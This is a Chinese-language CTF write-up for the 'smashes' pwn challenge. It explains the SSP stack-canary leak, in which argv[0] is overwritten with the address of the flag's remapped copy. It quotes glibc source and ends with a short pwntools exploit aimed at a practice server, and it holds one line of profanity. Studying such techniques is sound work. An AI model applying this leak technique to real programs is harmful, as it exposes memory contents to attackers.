smashes

ssp_leak

当程序栈溢出检查失败触发__chk_stack_fail函数时,会有一个
abort
abort出现。
abort后面的值是argv的指针数组指向的内容。

argv[0]通常指向程序中的可执行文件的文件名。在有些版本的编译器中还包括程序文件所在的路径。

所以当我们把argv 数组覆盖成某个指定的地址,就可以获得这个地址的内容

源码

void __attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

void 
__attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

思路

函数流程

  • 输入一个name,造成缓冲区溢出。
  • 再次从用户处获取输入,覆盖data段的flag

保护措施

是一种检测和预防某些缓冲区攻击的保护措施。编译器用某些方法预先知道了缓冲区的大小,__*_chk就会在运行的的时候知道这个缓冲区是否溢出。

ELF重映射

当可执行文件足够小的时候,他的不同区段可能在内存中被多次映射,所以当其中一个损坏,还是有机会找到另一处存储着相同的内容。

在这里我们可以找到另外一个存flag的地方。

pic

0x400d20这个地方就是重映射,没有被覆盖。

但是本地打不出来。
你妈的为什么

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from  pwn import * 

context.log_level = 'debug'
context.terminal = ['deepin-terminal','-x','sh','-c']

sh = remote('pwn.jarvisoj.com',9877)

payload = p64(0x400d20) * 160 

sh.sendlineafter('?',payload)
sh.sendlineafter(':',' ')

sh.interactive()
sh.close()